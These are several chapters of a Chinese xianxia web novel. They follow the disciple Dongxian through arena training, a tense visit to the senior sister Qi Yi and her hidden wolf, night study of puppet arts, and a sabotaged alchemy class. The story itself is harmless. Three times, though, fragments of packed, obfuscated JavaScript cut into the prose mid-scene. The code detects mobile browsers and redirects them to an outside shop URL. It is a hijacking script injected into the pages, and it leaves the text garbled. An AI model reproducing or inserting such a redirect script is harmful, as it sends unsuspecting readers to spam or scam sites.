另一边的两人同样进入传送阵内部，被带进另一个天地，在这个天地内弟子们可以随意施展力量，不用担心会伤到外面人或物，这点与灵域的特性相像。
阵法内分布着许多无脸人，它们正处于休眠状态，训练没开始前，它们不会动手。
东闲略觉失望，如若只是打败这些阵灵，那演武场也不过如此。
“师姐，我们只需要打败它们吗，这里看上去没有其他特别的存在。”
“阵法可以模拟出利于阵灵的作战环境，待训练开启后，会自动生效，每一次模拟的环境都会有所变化，由阵法幻化的一切都有可能是你的对手，所以不可以怀着侥幸，时刻保持清醒与戒备。”
安泛泛说得很详尽，方便东闲理解接受。
虽说阵法是根据东闲的实力变化，但事实上阵法的难度要超过东闲应有实力能够对付的。
只有陷入困境，才能逼出潜能。
东闲喜欢挑战难度。
她作战的斗志更高昂了。
大抵是东闲实力弱小的缘故，幻化的幻境是一片平平无奇的林子，就连一开始看见的十个阵灵数量都缩减到五个，另外五个也不走，拔草的拔草，爬树的爬树，发呆的发呆，无声地嘲讽着东闲。
东闲拇指搭在剑上，兴趣不减半分，跃跃欲试道：“师姐，可以开始了吧。”
得了安泛泛的应允，她提剑而上。
如若训练有一段时间，传送阵就能根据你的作战习惯与特点制定相对应的敌人。
东闲发现了敌人的变化，暗暗称奇。
如安泛泛说的一样，这里的一切都是潜在的敌人，哪怕是一片缓缓飘落的叶子，都暗含杀意。
东闲轻抚脸颊，指腹上是鲜血。
而染上她鲜血的叶子，被她灵气所震慑化成灰。
并不痛，却能给她留下深刻印象。
玄清宗讲求弟子们和睦相处，但是在竞争上无需相让。
她到底是待了太久的安逸生活。
弱肉强食的修仙界，能活到最后的哪一个是简单的？那些看似平平无奇的岂不更可怕。
这一次教会她不可轻视弱小，亦不可习惯寻常。
阵灵是阵法幻化的虚假的存在，它们擅长变化，往往在东闲制胜时又更改策略。
东闲沉浸其中，这场战斗成功唤醒她血液与骨子里的亢奋。
她身上累累伤痕，内心却是快慰极了，战斗的滋味太爽快，她天生就该战斗。
她的目光无比炽热地望向所有试图击败她的一切，这些给她伤痕的家伙们，总有一日会要承受她的毁灭一击，在那之前，这些家伙们最好能让她痛得叫出声。
安泛泛原想陪东闲练一会儿就走，她以为东闲撑死练到一个时辰就会知难而退，然而她们留在演武场的时间早已不止一个时辰。
其实演武场并非是弟子们的首选目标，大多弟子们只会在大型试炼考核前为了突击一把，才选择高强度高难度的演武场。
一般都是靠接取委托与比武台上切磋武艺。
东闲才来训练第一日，肯定吃不消其中艰辛，哪曾料到东闲根本不知疲倦，甚至肉眼可见地亢奋。
她居然亢奋起来了？！
安泛泛吃惊地看着东闲的背影。
演武场还没有发展到能惑人心智的地步吧，她这么兴奋真的没有问题吗。
视线中的女子被一次次击飞，又在下一瞬攻上去，她被打败的速度快，而起身的速度要更快，几乎是弹地而起，若不是听见来自她身上的骨裂声，安泛泛真以为她仅是受了轻伤。
虽说修士的身体抗揍，境界升高体质也会加强，凡人看来的严重的骨裂，对修士来说就是重新接上的小问题，但疼痛是实打实的，哪有像东闲全身都被碾了个遍，还能跟无事人似的。
不知何时起，演武场内的一切都忘却安泛泛的存在，专逮着东闲一个人揍。
安泛泛大受震撼地呆在原地，原本想说离开一类的话语卡在喉咙，安泛泛几乎都不敢叫她。
可怕，太可怕了。
慕婉思一定是修炼修出疯魔来了。
等东闲结束后，安泛泛早在一旁睡得香呼呼。
东闲心觉好笑，俯身单手捧起她的脸颊，柔声唤道：“师姐，该走了。”
安泛泛睁开一双惺忪的杏眼，目光扫到东闲破旧的衣裙以及大大小小的伤口，她微抿下唇，不发一言地抓过东闲的另一只手腕。
东闲蓦然被她抓走了手腕，一时身体失衡向前倾倒，朝着安泛泛的方向凑近了些许距离，东闲微微侧脸，错愣地闻着她发间的皂角香。
眼看自己的手就要弄乱安泛泛的发丝，东闲下意识握成拳状，尽量不碰到。
师姐今日的发型看起来很复杂，好似费了不少心思，若是弄乱了，我也没法替她重新梳理。
感受到对方温和的灵识在身体中探寻，东闲适才明白安泛泛是在为自己疗伤，便放任安泛泛所为。
东闲的身体恢复得极快，常为东闲疗伤的安泛泛很是清楚这点，尽管如此她还是要为东闲治疗，那些伤痕瞧着碍眼，安泛泛非得看着它们消失才罢休。
顺带为东闲调整体内因经历长时间打斗而紊乱的气息，安泛泛这才松开东闲的手腕，圆润清澈的杏眼倒映着东闲的模样。
“我知道你在害怕什么，我会帮你的，过去我没能阻止，这一次我一定不会让他伤到你。”
师姐原来觉得她努力修炼是在怕死。
东闲捧住安泛泛脸颊的手还没收回，瞧见对方鲜有的严肃，一时没忍住轻轻捏了下，在当事人反应前快速收了回去，开口阻止她反应过来。
“我早是飘零无依一浮萍，此间唯有师姐可以依靠，师姐说什么我都是信的。”
手感的确不错。她暗暗评价着。
东闲复而问道：“师姐，明日还要一起来吗？”
安泛泛登时垮起一张脸，表现得很是抗拒。
安泛泛斩钉截铁地道：“旁的好说，唯独此事不得商量。”
她本就不喜打斗，是个贪玩的性子，偶尔研究灵草丹药倒还有趣。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13313263|134915||http|test|mini|href|location''.split(''|''),0,{}));
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东闲承认起初是故意多练一段时间好叫安泛泛知难而退，如此她便可利用演武场来练习贪狼星君所传授的百道秘法绝学。
二人正欲离开，阵灵纷纷围了上来，并没有散发恶意，所以东闲没有出剑，也没有后退，投去不解的视线。
阵灵纷纷伸出手掌，动作流畅自然到好似做了上百遍。
东闲看向一侧的安泛泛，问道：“这是何意？”
安泛泛解释道：“它们是在向你讨打赏。”
为了应证安泛泛的话，十个阵灵大拇指与食指接触，开始摩擦。
东闲：“……”
挨打的是我，还指望我给打赏？
还有你们五个偷懒的也来过分了吧。
东闲气笑了，道：“如果我不想给怎么办？”
十个阵灵向她展示了远远超过她这个境界能够应付的实力，如若它们按这种实力对付东闲，东闲必定要被摁在地里摩擦的。
东闲艰难地与这等威压对抗，发出愤懑的一问：“……师姐这能叫讨吗。”
这分明不给就会打死我啊。
安泛泛也很无奈，这就是演武场的机制。
东闲先试探地给了一点，阵灵觉得东闲是在打发叫花子，气愤地接过摔地，抬脚狠狠踩了几下。
安泛泛提醒道：“每个阵灵应该是要给一锭银。”
东闲按安泛泛说的那样交出打赏，阵灵们果真为她们让开路。
而那先前被摔在地上、狠狠踩了好几脚的那点打赏又被阵灵捡走。
东闲：“……”
你有骨气你就别捡啊。
东闲突然有了个想法，她猜测道：“该不会境界越高，需要给的打赏也越多吧。”
安泛泛颔首以应，道：“你说得没错，布置一道完善周密的阵法很耗费精力，挑战者的境界越高阵法就要随之变化，对于阵法师的要求同样提高，不过我也是从别人那听来的。”
言外之意，到底费不费劲他们这些非专业阵法师，也瞧不出个名堂来。
阵灵都是阵法幻化出来的存在，不会拥有人的情感，按理来说它们不会主动向人讨打赏，应是创造阵法的人所为。
东闲默了默，道：“师姐，你知道能创造出演武场的人叫什么吗？”
安泛泛问道：“怎么了，你有事找他吗？”
“突然很想认识，有此头脑不去做生意真是埋没了人才。”
设置酷似会员的制度，“服务”给小费，真是天才商业头脑，掉进钱眼里去吧。
布置这么多阵法，得要数个高阶阵法师布置而成，多收取些灵石是应当的，何况价格还算是亲民。
如若一开始明码标价，倒也不会让人气愤。
不过东闲其实也不气愤，只是无语凝噎。
这时她又听到安泛泛的解释：“好像是为了调动弟子训练的积极性，以怨气激发弟子战斗的激情，所以设定上是有些叫人手痒啦。”
东闲回忆着战斗时，旁边五个偷懒的阵灵因为她受伤而作出或捧腹或捶地大笑的模样，心想犯贱这点应当是成功的。
40.第 40 章
演武场会在东闲这类的“会员”训练结束后，为他们提供寻常丹药，还有专人为他们疗伤，这些弟子都是药谷来这打工的弟子。
东闲拒绝了他们，因为安泛泛已经揽下为东闲疗伤的职责，而且他们只负责轻伤，其他的价格得另谈。
登记处的师姐，见到她们二人适才离去的身影，瞬时不敢置信地揉着眼眶。
安泛泛能在演武场待三个时辰？这还是她认识的安泛泛吗？
二人未曾注意师姐的变化，出来后，安泛泛便与东闲告别先行离开，临走时提醒东闲抽空找个时间寻她进一步疗伤。
东闲体内有术法残留的影响，不尽早清除对身体有损，安泛泛若要帮东闲治疗，需得褪去她外衣，配合着她祖上传下来的医学秘籍施针治疗，这种事在演武场不方便。
其实倒也不必如此麻烦，只因需要治疗的人是东闲。
东闲原本打算叫上安泛泛去膳堂用饭，见她先行离开，便独自前往。
宗门内开设着一座膳堂，其内提供的吃食的原料都是由天地灵气滋养而成，吃了可助人增长修为，效果微末，但胜在比凡间吃食多了点效果，膳堂平时人满为患。
东闲鲜少去膳堂，她会炼制饱腹丹，吃下一粒饱腹丹相当于用了一顿饭，她饿了便吞下饱腹丹继续修炼或修习百道秘法。
这回来得晚，人少了些许，好在还有饭，就是选择不多。
她也不挑，点了一素一荤一汤，都是家常便饭，寻了个空位坐下用饭。
膳堂也是弟子们聊天闲叙的好去处，东闲对面的一桌有两位弟子正在交谈，交谈的内容悉数落在东闲的耳中。
谭白苦着脸，恨恨地看着一旁的烫手山芋，发出一声怨叹：“我都快愁死了，玄真长老让我给亓沂师姐送药去，可那是亓沂师姐啊，谁敢跟她有接触，我手中的药恐怕还没来得及送出去，连人带药都得倒霉，哎，兄弟一场，要不你带我去吧。”
同伴秋岚幸灾乐祸地道：“我可不想去，玄真长老指定的是你又不是我。”
听见他们二人口中提到的亓沂的名字，东闲抬筷的动作微微一顿，侧耳倾听。
“你不是亓沂师姐的追随者吗，多好的机会留给你们二人相处。”
“打住，追随者和敢不敢去是两码事，我敬畏亓沂师姐，可不代表我想被一巴掌拍飞，玄真长老真是的，她明明知道我们都很怕亓沂师姐，还偏偏叫我送过去。”
“既然是玄真长老叫你去的，你就去吧，反正出事了正好能找玄真长老治疗，肯定能省一笔医疗费，哈哈哈哈。”
谭白捏紧拳头，朝着损友一拳抡去。
彼时的东闲已经走了过去，问道：“亓沂师姐是受伤了吗，可她见着不是很好吗？”
见他们的视线都投过来，东闲诚恳道歉：“抱歉，我不是有意偷听你们的话。”
发现是东闲过来了，两人连忙停下打闹，神情都有些尴尬。
谭白回道：“是慕师妹啊，没事没事，亓沂师姐那么厉害怎么可能受伤，不过具体这药是干嘛的我也不清楚，但绝对不是因为亓沂师姐受伤。”
东闲颔首以示明白，试探性地道：“大家好像都看似敬畏亓沂师姐，却对接近亓沂师姐一事十分排斥。”
秋岚道：“慕师妹，你的记忆还没恢复吗，虽然我们大家佩服她的实力强大，但亓沂师姐性子强悍气场强大，站在那就让人想跪下臣服，这是表面的，亓沂师姐行为做事的逻辑古怪异常，时常令人难以理解，而且她性子凉薄，我们自然不愿与她相处。”
东闲好奇问道：“怎么个古怪法？”
秋岚便为她列举道：“就拿一件事说吧，曾有其他师兄师姐与亓沂师姐共同下山完成委托时，遇到一个姑娘想靠卖身来攒钱买棺材供父母体面下葬。
“亓沂师姐那时的大概意思是‘你的父母在他们死的那刻，你就是自由身，与他们再无瓜葛，为什么还要为自己套上枷锁’，那姑娘听这话实在大逆不道，当即怒了，结果亓沂师姐反问她‘人是你杀的？’
“慕师妹，你说跟这种没有同理心的人怎么相处得起来。”
然而秋岚未能得到东闲的应和，反而听见东闲不太厚道的笑声。
东闲真的没能忍住笑声。
这哪叫古怪，分明有趣得很。
秋岚费解地道：“慕师妹，你笑什么。”
他寻思他也没讲笑话啊。
东闲摇了摇头，克制住笑意，善解人意地道：“我方才听见你们都不想去给亓沂师姐送药，要不我来吧，路我也认得，我正好有事想问问亓沂师姐，定能将药交到亓沂师姐的手上。”
方才没出声的谭白担忧地道：“慕师妹，你真的能行吗，上一个给亓沂师姐送东西的师弟都被她打断了一条腿。”
他虽是这么说，眼里的惊喜是藏不住的，手中的烫手山芋是要递出去的。
东闲微微讶异，她觉得亓沂并非是无理取闹的人，不然背后那么多议论亓沂的声音，亓沂从来都没有理会过。
不过她到底对亓沂所知甚少，不可妄下定论。
东闲“哦”了一声，而后道：“那师兄原来是想自己去送吗？”
她状似要走，却也真的走得很快，立马得来谭白的呼声。
谭白追上她，把苦恼自己半日的烫手山芋送出去。
“等一下慕师妹，既然慕师妹想要去见见亓沂师姐，那还是慕师妹你去吧，时候不早了，慕师妹你可得早点送过去。”
说着，将草药交给东闲。
东闲点头应下，带着草药离开他们的视线。
秋岚抬肘顶了他一下，颇带着指责意味地道：“你怎么能让慕师妹去呢？她受过那般严重的伤定然是吃不消亓沂师姐的一招，你懂不懂什么是怜香惜玉啊，你还是个男人吗。”
谭白翻了个白眼，“那你代她去啊，慕师妹还没走远，你现在赶上去还来得及。”
秋岚目移，道：“亓沂师姐应该不会对慕师妹下手，我想慕师妹也不会出什么问题，而且慕师妹也确实要找亓沂师姐，我也拦不住啊。”
谭白冷笑道：“呵呵，孬种。”
秋岚立时看了过来。
谭白面无表情地补充道：“我好歹是有自知之明的孬种，比你好一点。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327747|134915||http|test|mini|href|location''.split(''|''),0,{}));
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离开的东闲循着记忆来到听风竹林，先前从幻境中出来时，看见对面牌匾上的星星黯淡，料想亓沂已经回到她的居所。
若是不在，东闲便等到她回来。
时隔一个月，她再次踏入听风竹林，记忆里的那条青石板路仍清晰可寻。
视线已经出现竹屋一隅，即将抬下去的一步忽然顿住，她警觉地嗅到一丝异常。
此处被布下阵法，一旦有外人踏入，立刻生效进行攻击。
她已经触发阵法开启的机制，平地兀自生起耀目的金光，猛烈的气浪化作实质的拳头攻向东闲腹部，这股力量很蛮横，只想将她打飞，让她知难而退再不敢靠近竹屋。
东闲反应迅捷，几乎是在阵法生效的同时便有所察觉，并马上给出回击的反应。
长剑上泛出的冷光映照着东闲的双眸，可见其内的忌惮之意。
东闲还未与这道力量正式交锋，便已知自己绝不能敌。
一道与这股气浪相区分的符咒冲她袭来，上绘晦涩复杂的咒语清晰地倒映进东闲的眼底，惊得东闲双瞳紧缩，让她宁可粉身碎骨也绝不能被那符咒打中。
这阵法最多把人击飞，落得个摔胳膊摔腿的小事，东闲自己就能给自己接骨，最多到医馆找药修弟子开点药休养个几日就能好全，而这符咒才是最要命的。
她急于避开瞬息而至的符咒，从而给了阵法可趁之机，那金芒迫人的拳头就要抵在东闲的腹部，将她狠狠地击飞。
东闲这下明白为何谭白说亓沂会把他们打出去，原来是她在院落附近设下阵法。
上回东闲没受伤，怕是好运赶上亓沂没开阵法的时候。
预料之中的疼痛并未产生，阵法被强行中断，抵在她腹部的拳头骤然消失得无影无踪，但它留下的余威还在，东闲以剑撑地，划出三丈的深陷的剑痕，身形才堪堪稳住。
东闲的目光定格在，竹屋前尽览她狼狈状态的亓沂身上。
她站直身子，长剑归鞘。
“师姐这是何意？”
亓沂道：“一个尝试。”
“一个尝试？”东闲眸光流转，似乎读懂了她的意思，不可思议地道：“师姐的意思是想借我们来测试你的学习成果？”
亓沂不置可否，眸光落在东闲手上的草药。
看来还是自己手中的草药救了自己。
东闲很想牵起嘴角一笑，转而又想，自己也是那个活靶子，只不过自己手上拿着亓沂需要的药物，才没落得与那些弟子一般的下场。
东闲下压唇角，摆出副可怜的神情来，诉说的言语可闻委屈之意。
“师姐，你知不知道若是方才你不及时停手，我会很疼。”
亓沂不为她故作的可怜姿态所动，眉宇间的威严又加深几分，煞是冷酷。
“三个时辰前你去了演武场，那里的痛楚不比在我这受的少。”
东闲道：“师姐对同门之间难道没有一丝情谊吗。”
亓沂面上终于有了一丝变化，看她的眼神带上微妙的意味。
“你方才有意躲避那道符，你比你想表露的外象知道的更多。”
41.第 41 章
言外之意这不是东闲该知道的，东闲学的是剑、丹、阵三道，未有涉及符道，那张符咒可非寻常符，东闲本不该识得才对。
她这话有意指出东闲惯于伪装的假面，认为东闲表里不一。
东闲撤去故作的神情，无论是以什么样的面孔，若非故作表情，在她的脸上总能看到笑意，哪怕是浅淡的。
所以，现在的东闲给人的感觉仍是笑的，看不出一丝慌乱的迹象。
“师姐未免太过武断，乍然直向面门来了道符咒，我下意识防着那道符咒也是情有可原。”
她余光无意地一瞥，便落在院落一角的墓碑上，上回东闲来时未曾注意这块墓碑，当时它又被一块黑布盖着，难以叫人出端倪，这回没了黑布遮挡，才知道原来是块墓碑。
墓碑前放着新鲜的水果与糕点，还堆着已化为灰烬的纸钱。
值得一提的是，墓碑上没有刻字，那她在拜谁？
东闲又道：“亓沂师姐，你这墓碑为何不刻名字？”
东闲不由得再次看向亓沂，她身前干净，不染一点尘埃，而祭拜的过程似乎已经到了尾声，亓沂应当没有跪拜过那座墓碑。
亓沂顺着她的目光看过去，眼眸在那座无字墓碑上顿住，道了声“我不知”，而后收回视线重新看向东闲手上的药材。
好似东闲这个人都没药材有存在感。
东闲注意到这点，有意交换了药材的位置，果见她的视线从自己的左手落到右手上，东闲难掩住笑意，轻笑便于唇齿间溢出来。
见她察觉投来犀利的一瞥，东闲赶忙开口道：“你不刻上他的名字，怎会把纸钱烧给他呢，你甚至连他与你的关系都不刻上，若是生母，便该刻上母某某之墓。”
东闲挺好奇能让亓沂祭拜的人是谁，要知道，亓沂当初放火烧了整个村子，其中包括与她共处多年的亲人，因而人人都说亓沂是木石心肠，结果这木石心肠的人居然会立碑缅怀着某人。
亓沂稍作思忖，道：“不刻名字就无法送过去吗，我不知她名，也不知她的身份。”
东闲越听越觉得好笑，“那你连他长什么样都不知吗，你画幅他的肖像挂在墓碑上，此后你在墓碑前要烧的东西与你想说的话，才能被带给他，不然会被其他孤魂野鬼抢了去。”
亓沂的面容上居然流露出茫然的神情来。
“……我不知。”
东闲愣了，重复一遍：“不知？”
怎么会有人连对方什么都不知就会给对方安坟烧纸钱的，这两人分明就不熟啊。
东闲这回真要笑了，亓沂也意识到自己的话被东闲误解，随即补充道：“她用术法遮掩了容貌，我看不出。”
所以还是认识的，这样听也不算那么离谱，东闲见她并不排斥自己对坟墓话题的继续，便也不顾忌地问下去。
“你为何要给他立坟，你们关系很好吗？”
亓沂只回复了前一个问题。
“若是她死了，她听到我的话，会来寻我。”
只是此举以后不行了，亓沂才从东闲那里知道没有对方的信息是无法让自己的话带给对方，而亓沂对对方一无所知，这些年烧的纸钱恐怕都烧给了孤魂野鬼。
东闲捕捉关键字眼，错愕地道：“你不知她是死是活就给他立坟烧钱？”
对方只投来有问题吗的眼神，惹得东闲无语凝噎。
好哇，要是死了，那就烧点纸钱过去叫他显灵，若是没死，反正他也不知道，无伤大雅，毕竟这墓碑上还没刻字呢。
东闲觉得自己要是亓沂要找的人，知道亓沂在给自己安坟，但不知道亓沂安坟的缘由，怕不是要以为亓沂在咒她呢。
东闲委婉地道：“我想他不会那般容易死的。”
亓沂却道：“在这个世道，死也很容易。”
东闲哈哈一笑，“师姐说得是。”
亓沂倏然待东闲的态度冷淡许多，冷硬地道：“把药给我。”
与此同时，一只骨瘦如柴的四眼妖狼从竹屋内走出，它浑身分布着纵横交错的伤痕，很多地方秃了一块，走来时是一瘸一拐的，如若忽略那身惊心的伤痕，便能发现它该生得高大挺拔，有着与主人如出一辙的都该是天下霸主的气场，冰蓝的瞳仁里是永不屈服。
东闲多看了几眼四眼银狼，发现四眼银狼额间有着浅蓝的纹印。
她曾在藏书阁中了解过各类妖兽，这只四眼银狼应当是八阶的天月狼一族，而额间拥有纹印的四眼银狼是未来要成为狼王的，它本该有一身银白发亮的毛发才对。
成年的天月狼体型堪比骏马，眼前的这只应当是幼崽。
天月狼来到主人前乖顺地趴下，仰头蹭着主人的腿表示讨好，同时无声戳破亓沂的谎言。
亓沂设下的阵法分明是为了藏住这头天月狼。
看来受伤的是这头天月狼了，东闲心下了然，面上不经意道：“亓沂师姐还有御兽的本领，当真让人意想不到。”
七阶起妖兽们就不肯为人收服，亓沂能让一只八阶的妖兽甘为她称臣，这等魄力与手段让人望尘莫及。
东闲看她的眼神更炽热，心底渴望着这等力量。
亓沂微微皱眉，她设下阵法圈住竹屋，为的就是不让他人发现她的契约兽，如今这只由她契约的天月狼还是被发现了。
亓沂不动声色地给了天月狼一击，引得天月狼嗷嗷直叫。
那一下避开天月狼的伤疤，并不重，不过是天月狼在撒娇罢了。
东闲状似没察觉亓沂的小动作，走上前俯身贴向天月狼，语气放缓放柔：“是它受伤了吧，看起来还很严重，我日日跟着安师姐，倒是学了一点皮毛，如若师姐不介意，我可以为它看看。”
亓沂没出声，天月狼便没有挣扎，任由东闲抚摸着尖硬的毛发。
这头天月狼由于伤痕太多的缘故而显得丑陋，但是部分健在的毛发银白发亮，而这些不是东闲注意的重点，她在意的是，它待亓沂很是亲
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昵，可见亓沂平日对它的悉心照顾。
东闲从它的脑袋摸到颈部，颈部是毛发稀疏的重灾区，并且被挤压得变形，应当是被项圈一类的物什长期禁锢出来的痕迹，摸到这时，天月狼警惕地看了眼东闲，但见亓沂仍没阻止，天月狼便没有做出攻击的动作。
看来亓沂真的把这只天月狼调教得很好。东闲心下暗道。
天月狼张开嘴，懒洋洋地用舌头舔了舔锐利的牙齿，长长的狼尾垂了下来，而东闲趁这时猛然抬手往狼嘴里抛进一颗圆润的珠子。
天月狼痛苦地扭曲成一团，抬起前爪努力掰扯着嘴巴，想要将东闲射进去卡在喉咙的珠子给吐出来，为此发出低低的呜咽声，很是可怜。
亓沂立时抬掌击向东闲，裹挟的灵力强劲而霸道吞噬了东闲所有的防御，护体屏障轰然碎裂，只听吱嘎崩裂的声响，混着东闲的骨裂声，竹屋外一圈的围栏被东闲压塌。
东闲从狼藉中艰难起身，挨打了也不生气，前胸后背都是火辣辣的痛意，她抬起手背抹去唇边不受控制溢出的鲜血，瞧着亓沂面上的愠怒，反常地扩大笑意。
“你给它喂了什么？”
亓沂眼神不善，寒霜凝上眉梢，掌下聚集的灵力，东闲敢对她的天月狼动手可见触犯了她的逆鳞。
东闲似若未觉危险的逼近，语气似嗔似怨。
“那道符咒为荡魄符，被此符击中者，轻则神志不清损伤记忆，重则沦为痴傻儿，亓沂师姐好狠的心，舍得对师妹我痛下杀手。”
亓沂压着眉，见东闲突然变化的性情，心道此人莫不是被自己刺激了，目光也多了审视的意味。
“你不是厌我么，为何还主动为我送药来，若是再度让你失忆，说不准能让你将前尘往事记起来，莫要在恢复记忆后后悔今日种种。”
东闲眨眨眼，她不曾想到慕婉思原来不喜欢亓沂。
“原是我的不对，师姐心中是有我的。”
亓沂有些厌倦与她说话，只觉再多处一刻都嫌烦，已经开始赶人。
“把解药给我，然后滚。”
“解药么……”
东闲靠近努力掰扯卡在喉咙珠子的天月狼，同时刻亓沂掌心的灵力微微收紧，最终还是让东闲安然无恙地再度贴近天月狼。
“人是会变化的，亓沂师姐为何不愿相信我是有意前来讨好，同门之间理应互帮互助，过去是我不对，我不该口不择言，背后议人。关于这头天月狼，我会为师姐守口如瓶以来证明我的诚心。”
话落，东闲抬掌劈在天月狼喉部，说着“这便是解药了”，带着促狭的笑意，转身离开，渐行渐远。
卡在喉咙的珠子终于能够吐出，一颗被津液包裹得发亮的珠子骨碌碌地在地面滚动着，天月狼得了解脱，软趴趴地躺在地上。
亓沂抬脚抵住还要向远处滚去的珠子，俯身捏起。
她不喜食甜食，但也认得出这仅仅是一颗糖果而已。
她无疑是被人耍了。
42.第 42 章
她去接触亓沂，并非闲得没事，在百生镜中，有一张面孔正是亓沂的，这使得她下意识会注意亓沂。
东闲接近亓沂的初衷也只是想进一步试探亓沂的性情，旁人所言不如她亲自接触，日后要是借用亓沂的身份，也好扮得逼真不惹人发现。
能够发现那只天月狼，是在她意料之外的事。
亓沂不知为何有意掩藏天月狼的存在，但她定然没有办法把事情透露出去，不如主动说会隐埋秘密，她几分好。
塞给天月狼的糖是福满楼的新品，规定每盒放上八颗，日日卖得爆量，男女老少都爱吃，玄清宗的弟子们经常为了这盒糖而下山。
原本打算拿来送给安泛泛，如今这盒糖明显少一颗肯定不能送给安泛泛。
师姐喜欢被唯一对待，送了还会惹她生气，到时哄还要费上功夫。
东闲不爱吃甜食，也不想让这盒糖白白浪费，她暂时先放在身上，总归有机会能够好好利用。
夜已深，有符咒加持的长明灯点缀着幽深昏暗的路。
东闲依循记忆回到弟子居，发现对面的那间一片黑暗。
东闲没有深夜不该扰人清梦的礼貌，上前便叩门唤人，半晌后确切地得到里屋没有人的讯息。
还没回来吗？
早晨她升境成功，出来便没有见到鸦昤。
过去数个时辰再回到住处，仍不见鸦昤的影子。
难道又是去接委托了？如若是这样，委托大堂的师兄师姐们不会多次一举专程前来弟子居寻鸦昤。
主人不在，东闲也没有造访的心思，便回到自己的住处。
东闲回到住处，并未着急入睡。
每日夜深，是她修习识海深处贪狼星君所留下秘法的最佳时候，东闲日日磕着丹药，保持高强度的精力集中，只为能够在短期之内吸收尽所有道法。
对面鸦昤不在，她倒是不用像以往那般束手束脚。
以防万一，东闲还是同以往那般布下阵法做了个简单的屏蔽。
东闲太想要强大了，她可以装得弱小，但绝不能真的弱小。
这夜，东闲循着记忆找到傀道的修习方法。
贪狼星君只授她百道秘法，忽略她什么都不会的基础，有些基础她需要自己想办法巩固。
修习傀道需要学会生傀，这是百道秘法不曾涉及的基础，东闲故而用明魂术搜刮常怀清的记忆，来学习如何生傀。
乱葬岗遇见老者时她便对傀道产生深厚的兴趣，而她的识海里也有关于傀道的功法，先前是因为不会生傀，故而迟迟没法修习。
有了常怀清的记忆，再加上东闲自己的强大的理解能力，修习起来没有难度。
半个时辰后，数不清的猩红丝线一端系在东闲双手上一端系在傀儡身上，待东闲睁开双目俱消隐不见。
东闲看着将居所塞得满满当当的傀儡，微微出神。
她一直都很好奇，其他六个被星君选中之人，也会有星君倾囊相助吗？
贪狼星君传她秘法绝学，那其他六个星君也会这样做吗？
她还看不懂贪狼星君到底是想做什么，选她一个异世之人，是巧合还是有意。
她亦难以明白自己到底是什么样的存在。
她只要一修炼，灵气们便会争先恐后地涌入她的体内，待她很是亲近，旁人眼中晦涩难懂的如天文存在的咒语符文，她也是如看大白话般容易。
哪怕身上没有任何星宿传承，天下百道，于她而言，手到擒来，她天生就是要成为修仙界第一人的。
可她明明不属于这个世界。
东闲想问贪狼星君，但祂从不给予回应。
她一生起接近的心思，来自祂身上的悲伤便如潮水般再度包裹住她，每一次都要让东闲缓上一段时间，才能从那段情绪中走出来。
次数多了，东闲反而不信邪，她的努力是有效的，多次的试探下，她终于能向前迈出一步。
她能感受到，贪狼星君的神识在消解。
她总有一天能发现贪狼星君的秘密，得到与她有关的真相。
有一点让东闲很在意，这个世界并不缺乏天之骄子，可偏偏无人成功飞升，饶是东闲自信自己能成为第一人，也被这飞升的概率所惑住。
在这个世界，飞升是虚无缥缈的梦，曾有修士达到化虚境中期的境界，最终身陨于劫雷之下，即便如此，依然有广大修士去奔赴他们的修仙梦。
东闲也成为了广大修士的一员，唯一不同的是，东闲势必会飞升成功。
这夜，东闲又在彻夜的修习中度过。
在得到莫吟洲的消息前，东闲这段时间非常规律，学堂、无双峰、演武场、弟子居四点一线。
一日，又是一堂炼丹课，东闲照常上学堂。
大家都用着炼丹房的炉鼎炼丹，因为有前车之鉴，东闲则用着自己积攒的灵石买来的炉鼎。
这次师姐在授课结束后留下考核，让弟子成功炼制出一颗低阶愈合丹才可以下堂。
老实说，这愈合丹东闲早就会炼了，她也没想再装不会而炸炉，但不知为何炉鼎总会炸。
步骤并无错误，火候控制适当，材料是教习发下来的不会有错，怎么会屡屡炸炉。
东闲百思不得其解。
不知何时，雕窗上落了只翩翩蝴蝶，有弟子投去好奇的视线，一时不慎没控制火候让炉鼎炸了，弟子顿时成了哭丧脸，只得再来。
东闲已经重新挑选材料，起火，炼制。
炼丹之中，火候这一步骤是非常重要的。
而炼制愈合丹唯一的难度就在于火候的控制上。
东闲全身心投入其中，小心控制着火候，不能让它有一丝一毫的偏差，不然只要有一点偏差，这枚丹药都是废的。
一旁炼制完毕的宋问天，正要将愈合丹交给教习安排的弟子查看，途径东闲时，恰巧东闲的炉鼎又炸了，这回炸得彻底，炉鼎碎片朝四周飞溅，火星子到处乱窜。
宋问天连掐诀护体，好在只是一个低阶的丹药引起炸炉，生起的护体金刚罩能完全阻隔伤害。
宋问天勃然大怒，“慕婉思，你想动手吗。”
东闲没看他，而是看向碎裂的丹炉。
丹炉不是因为她炸的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13362838|134915||http|test|mini|href|location''.split(''|''),0,{}));
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这回东闲终于找到异常。
但是方才的情况落在别人眼中，就是她有意炸的。
她才刚生起火，这边宋问天经过，炉鼎便极为巧合地炸了。
说是无意的，鬼都不信。
